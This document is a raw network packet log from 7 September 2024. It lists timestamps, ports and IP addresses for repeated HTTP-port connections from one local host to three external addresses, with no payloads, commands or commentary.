Sep 7, 2024 15:30:51.854119062 CEST	55226	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.854315042 CEST	80	55226	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:51.854357004 CEST	55226	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.855828047 CEST	55224	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.856153965 CEST	55227	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.861797094 CEST	80	55224	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:51.861809969 CEST	80	55227	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:51.861852884 CEST	55224	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.861896992 CEST	55227	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.862004995 CEST	55227	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:51.867141008 CEST	80	55227	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:52.353516102 CEST	80	55227	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:52.353581905 CEST	55227	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:58.567404985 CEST	55227	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:58.573605061 CEST	80	55227	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:58.573694944 CEST	55227	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.366257906 CEST	55228	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:59.371140003 CEST	80	55228	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:59.372848034 CEST	55228	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:59.379631042 CEST	55228	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:59.383543015 CEST	55229	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.384541988 CEST	80	55228	64.70.19.203	192.168.2.7
Sep 7, 2024 15:30:59.384618044 CEST	55228	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:30:59.388410091 CEST	80	55229	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:59.389818907 CEST	55229	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.395312071 CEST	55229	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.400324106 CEST	80	55229	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:59.901875019 CEST	80	55229	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:59.902378082 CEST	80	55229	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:59.902447939 CEST	55229	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.903774023 CEST	55229	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.906560898 CEST	55230	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.911576986 CEST	80	55230	172.234.222.143	192.168.2.7
Sep 7, 2024 15:30:59.912151098 CEST	55230	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.912297010 CEST	55230	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:30:59.917490005 CEST	80	55230	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:00.416682959 CEST	80	55230	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:00.416747093 CEST	55230	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:02.834927082 CEST	55231	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:02.841012001 CEST	80	55231	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:02.842206955 CEST	55231	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:02.848453999 CEST	55231	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:02.852057934 CEST	55232	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:02.853346109 CEST	80	55231	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:02.855966091 CEST	55231	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:02.856957912 CEST	80	55232	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:02.858333111 CEST	55232	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:02.858438969 CEST	55232	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:02.863415003 CEST	80	55232	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.389089108 CEST	80	55232	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.389400959 CEST	80	55232	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.389436007 CEST	55232	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.389512062 CEST	55232	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.391225100 CEST	55230	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.391639948 CEST	55233	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.396531105 CEST	80	55230	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.396639109 CEST	55230	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.396895885 CEST	80	55233	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.397811890 CEST	55233	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.398299932 CEST	55233	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:03.403790951 CEST	80	55233	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.891510010 CEST	80	55233	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:03.891818047 CEST	55233	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.017210007 CEST	55234	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:04.022499084 CEST	80	55234	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:04.022578955 CEST	55234	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:04.022667885 CEST	55234	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:04.028847933 CEST	80	55234	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:04.029380083 CEST	55234	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:04.030237913 CEST	55235	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.037168026 CEST	80	55235	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.037691116 CEST	55235	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.037753105 CEST	55235	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.043114901 CEST	80	55235	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.614517927 CEST	80	55235	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.614789009 CEST	80	55235	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.614799976 CEST	80	55235	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.614833117 CEST	55235	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.614867926 CEST	55235	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.614881992 CEST	55235	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.619286060 CEST	55233	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.619651079 CEST	55236	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.625648022 CEST	80	55236	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.625711918 CEST	55236	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.625952959 CEST	80	55233	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:04.626051903 CEST	55233	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.626422882 CEST	55236	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:04.631580114 CEST	80	55236	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.121881008 CEST	80	55236	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.121938944 CEST	55236	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.240430117 CEST	55237	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:05.245343924 CEST	80	55237	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:05.245409966 CEST	55237	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:05.254708052 CEST	55237	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:05.258797884 CEST	55238	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.260540962 CEST	80	55237	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:05.260621071 CEST	55237	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:05.263715982 CEST	80	55238	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.263781071 CEST	55238	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.263866901 CEST	55238	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.268785954 CEST	80	55238	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.769381046 CEST	80	55238	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.769433975 CEST	80	55238	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.769509077 CEST	55238	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.771298885 CEST	55236	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.771599054 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.776536942 CEST	80	55236	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.776599884 CEST	55236	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.776730061 CEST	80	55239	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:05.776783943 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.778158903 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:05.782995939 CEST	80	55239	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:06.268354893 CEST	80	55239	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:06.269829035 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:06.529556990 CEST	80	55239	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:06.529624939 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:06.922482967 CEST	55240	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:06.927828074 CEST	80	55240	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:06.927966118 CEST	55240	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:06.928056002 CEST	55240	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:06.931411982 CEST	55241	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:06.933945894 CEST	80	55240	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:06.935877085 CEST	55240	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:06.936399937 CEST	80	55241	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:06.936460972 CEST	55241	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:06.942166090 CEST	55241	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:06.947525024 CEST	80	55241	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.426403046 CEST	80	55241	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.426511049 CEST	80	55241	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.426558018 CEST	55241	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.426800966 CEST	55241	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.437275887 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.437609911 CEST	55242	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.446357012 CEST	80	55242	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.446428061 CEST	55242	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.449507952 CEST	55242	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.450143099 CEST	80	55239	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.450203896 CEST	55239	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:07.455710888 CEST	80	55242	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.942843914 CEST	80	55242	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:07.942940950 CEST	55242	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:10.640120983 CEST	55243	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:10.645375967 CEST	80	55243	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:10.645457029 CEST	55243	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:10.645629883 CEST	55243	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:10.650307894 CEST	55244	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:10.651213884 CEST	80	55243	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:10.651314020 CEST	55243	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:10.655327082 CEST	80	55244	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:10.655399084 CEST	55244	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:10.655473948 CEST	55244	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:10.660758018 CEST	80	55244	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.145370960 CEST	80	55244	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.145750999 CEST	55244	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.146774054 CEST	80	55244	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.146826982 CEST	55244	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.148344994 CEST	55242	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.148694038 CEST	55245	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.153903961 CEST	80	55242	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.154072046 CEST	80	55245	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.154126883 CEST	55242	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.154158115 CEST	55245	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.154314041 CEST	55245	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:11.159467936 CEST	80	55245	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.652890921 CEST	80	55245	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:11.652955055 CEST	55245	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.068264008 CEST	55246	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:13.073683977 CEST	80	55246	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:13.075938940 CEST	55246	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:13.082813025 CEST	55246	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:13.086993933 CEST	55247	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.088212013 CEST	80	55246	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:13.089828968 CEST	55246	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:13.092552900 CEST	80	55247	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:13.093822002 CEST	55247	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.098537922 CEST	55247	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.103463888 CEST	80	55247	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:13.583520889 CEST	80	55247	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:13.583937883 CEST	80	55247	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:13.584018946 CEST	55247	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.584058046 CEST	55247	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.585530043 CEST	55245	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.585798979 CEST	55248	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.590940952 CEST	80	55248	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:13.591471910 CEST	80	55245	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:13.591557026 CEST	55245	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.591689110 CEST	55248	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.591689110 CEST	55248	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:13.596884966 CEST	80	55248	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.101361990 CEST	80	55248	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.101846933 CEST	55248	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.244843960 CEST	55249	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:14.249705076 CEST	80	55249	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:14.249815941 CEST	55249	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:14.254895926 CEST	55249	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:14.258852005 CEST	55250	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.259974003 CEST	80	55249	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:14.260031939 CEST	55249	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:14.263835907 CEST	80	55250	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.264478922 CEST	55250	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.270313978 CEST	55250	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.275309086 CEST	80	55250	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.746318102 CEST	80	55250	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.746521950 CEST	55250	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.746640921 CEST	80	55250	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.746707916 CEST	55250	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.747081041 CEST	55248	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.747675896 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.752470016 CEST	80	55248	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.752526045 CEST	55248	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.752589941 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:14.752677917 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.753349066 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:14.758615017 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.197858095 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.197942019 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.199189901 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.199245930 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.200536013 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.201808929 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.202851057 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.202894926 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.310955048 CEST	55252	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:16.315716028 CEST	80	55252	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:16.315778971 CEST	55252	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:16.315853119 CEST	55252	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:16.319906950 CEST	55253	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.321161032 CEST	80	55252	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:16.321218014 CEST	55252	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:16.325093031 CEST	80	55253	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.325164080 CEST	55253	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.332845926 CEST	55253	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.338593006 CEST	80	55253	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.829576015 CEST	80	55253	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.829739094 CEST	80	55253	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.829762936 CEST	55253	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.829797029 CEST	55253	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.829997063 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.830332041 CEST	55254	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.835238934 CEST	80	55251	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.835252047 CEST	80	55254	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:16.835308075 CEST	55251	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.835336924 CEST	55254	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.835467100 CEST	55254	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:16.840313911 CEST	80	55254	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:17.329008102 CEST	80	55254	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:17.329085112 CEST	55254	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:17.598664999 CEST	55255	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:17.604918003 CEST	80	55255	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:17.605012894 CEST	55255	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:17.614068031 CEST	55255	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:17.619899988 CEST	55256	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:17.628325939 CEST	80	55255	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:17.628390074 CEST	55255	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:17.629112005 CEST	80	55256	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:17.629173040 CEST	55256	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:17.629740953 CEST	55256	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:17.639436007 CEST	80	55256	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.141340971 CEST	80	55256	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.141458035 CEST	55256	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.141551018 CEST	80	55256	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.141607046 CEST	55256	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.162683964 CEST	55254	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.164130926 CEST	55257	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.169640064 CEST	80	55254	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.169699907 CEST	55254	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.170028925 CEST	80	55257	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.170094013 CEST	55257	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.170609951 CEST	55257	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:18.177295923 CEST	80	55257	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.681360006 CEST	80	55257	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:18.681843042 CEST	55257	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.341171026 CEST	55258	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:19.346254110 CEST	80	55258	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:19.346539974 CEST	55258	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:19.348517895 CEST	55258	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:19.352456093 CEST	55259	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.354834080 CEST	80	55258	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:19.355987072 CEST	55258	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:19.357546091 CEST	80	55259	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:19.357817888 CEST	55259	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.357903957 CEST	55259	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.363030910 CEST	80	55259	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:19.865963936 CEST	80	55259	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:19.866132975 CEST	55259	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.866523981 CEST	55257	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.866770983 CEST	80	55259	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:19.866822004 CEST	55259	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.866892099 CEST	55260	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.872659922 CEST	80	55260	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:19.872701883 CEST	80	55257	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:19.872740030 CEST	55260	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.872772932 CEST	55257	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.872987032 CEST	55260	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:19.877895117 CEST	80	55260	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:20.387629986 CEST	80	55260	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:20.387698889 CEST	55260	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.142715931 CEST	55261	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:21.148215055 CEST	80	55261	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:21.148291111 CEST	55261	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:21.160990953 CEST	55261	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:21.165337086 CEST	55262	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.170222044 CEST	80	55261	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:21.171237946 CEST	80	55262	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:21.171314955 CEST	55262	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.172418118 CEST	80	55261	64.70.19.203	192.168.2.7
Sep 7, 2024 15:31:21.172496080 CEST	55261	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:31:21.176616907 CEST	55262	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.185832977 CEST	80	55262	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:21.685298920 CEST	80	55262	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:21.685365915 CEST	80	55262	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:21.685440063 CEST	55262	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.685491085 CEST	55262	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.687056065 CEST	55260	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.687391043 CEST	55263	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.693294048 CEST	80	55260	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:21.693305969 CEST	80	55263	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:21.693366051 CEST	55260	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.693404913 CEST	55263	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.693562031 CEST	55263	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:21.701237917 CEST	80	55263	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:22.222508907 CEST	80	55263	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:22.223856926 CEST	55263	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:24.807358027 CEST	55264	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:24.812469959 CEST	80	55264	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:24.812551022 CEST	55264	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:24.812666893 CEST	55264	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:24.817930937 CEST	55265	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:31:24.818079948 CEST	80	55264	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:24.818434000 CEST	80	55264	88.198.29.97	192.168.2.7
Sep 7, 2024 15:31:24.818484068 CEST	55264	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:31:24.822958946 CEST	80	55265	172.234.222.143	192.168.2.7
Sep 7, 2024 15:31:24.823086977 CEST	55265	80	192.168.2.7	172.234.222.143
